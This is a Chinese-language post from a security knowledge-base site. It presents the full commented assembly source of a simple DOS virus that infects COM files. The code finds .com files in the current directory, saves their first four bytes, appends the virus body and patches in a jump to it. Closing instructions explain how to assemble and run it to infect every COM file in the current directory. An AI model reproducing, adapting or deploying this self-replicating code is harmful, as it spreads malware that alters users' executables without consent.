标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-253]   作者: ecawen 发表于: [2017-08-06]

本文共 [495] 位读者顶过

这个病毒恐怕是世界上最简单的病毒了,它只会感染,不会有破坏动作。 
Coolest对病毒的每一部分给出了详细的注释。不要说你看不懂哦。^_^ [出自:jiwo.org]

VirusLength equ VirusEnd-VirusStart 
codeseg segment 
assume cs:codeseg,ds:codeseg,ss:codeseg 
org 100h 
main proc near 
InfectedCode db "M" 
db 3 dup(90h) 
VirusStart: 
call WhereIAm 
WhereIAm: 
pop si 
;si指向pop si的首地址now 
mov bp,si 
add si,Original4Bytes-WhereIAm 
;si指向Original4Bytes的首地址now 
mov di,100h 
movsw 
movsw 
;恢复原来的文件头4个字节,以执行完病毒体后返回时正常 
;执行原程序 
mov si,bp 
;si指向pop si的首地址now 
mov ah,4eh 
Look4NextTarget: 
mov dx,offset Target-WhereIAm 
add dx,si 
mov cx,0 
int 21h 
;查找第一个com文件 
jc error 
mov ax,3d02h 
mov dx,9eh 
int 21h 
jc error 
xchg ax,bx 
mov ah,3fh 
mov dx,si 
add dx,Original4Bytes-WhereIAm 
mov cx,4 
int 21h 
;保留原com文件前4个字节 
mov al,'M' 
cmp ds:[si+Original4Bytes-WhereIAm],al 
jz SickOrExe 
;已感染或是exe文件 
mov ax,4202h 
xor cx,cx 
xor dx,dx 
int 21h 
;移动指针到文件尾 
mov di,offset FourNewBytes-WhereIAm 
add di,2 
add di,si 
;di指向0,0的第一个0 
sub ax,4 
;恐怕最难明白就是这里了 
;病毒把'M' e9写进文件头两个字节里后 
;e9 wx yz被翻译为 jmp near $+2+yzwx 
;ax此时为文件长度,从而 
;文件头两条指令为 
;dec bp 
;jmp near (文件尾) 
mov ds:[di],ax 
add si,VirusStart-WhereIAm 
;si指向VirusStart 
mov ah,40h 
mov dx,si 
mov cx,VirusLength 
int 21h 
;写病毒体进文件 
mov si,bp 
;si指向pop si的首地址now(即WhereIAm) 
jc error 
mov ax,4200h 
xor cx,cx 
xor dx,dx 
int 21h 
;移动文件指针到文件头 
mov ah,40h 
mov cx,4 
mov dx,si 
add dx,FourNewBytes-WhereIAm 
int 21h 
;使文件执行时先跳到文件尾的病毒体执行 
jc error 
mov ah,3eh 
int 21h 
;关闭文件,感染完成 
SickOrExe: 
mov ah,4fh 
jmp Look4NextTarget 
error: 
mov ax,100h 
push ax 
ret 
;文件头四个字节已经恢复,可以正常执行原程序了 
main endp 
Original4Bytes: 
ret 
db 3 dup(?) 
;病毒初次运行时,若没找到com文件,就会 
;执行ret到psp段首 
Target db "*.com",0 
FourNewBytes db 'M',0e9h,0,0 
VirusEnd equ $ 
codeseg ends 
end main 

使用说明: 
用Masm或Tasm编译,然后用Exe2Com转换为com文件,运行即可感染当前目录下的 
所有com文件。

评论

暂无
发表评论
 返回顶部 
热度(495)
 关注微信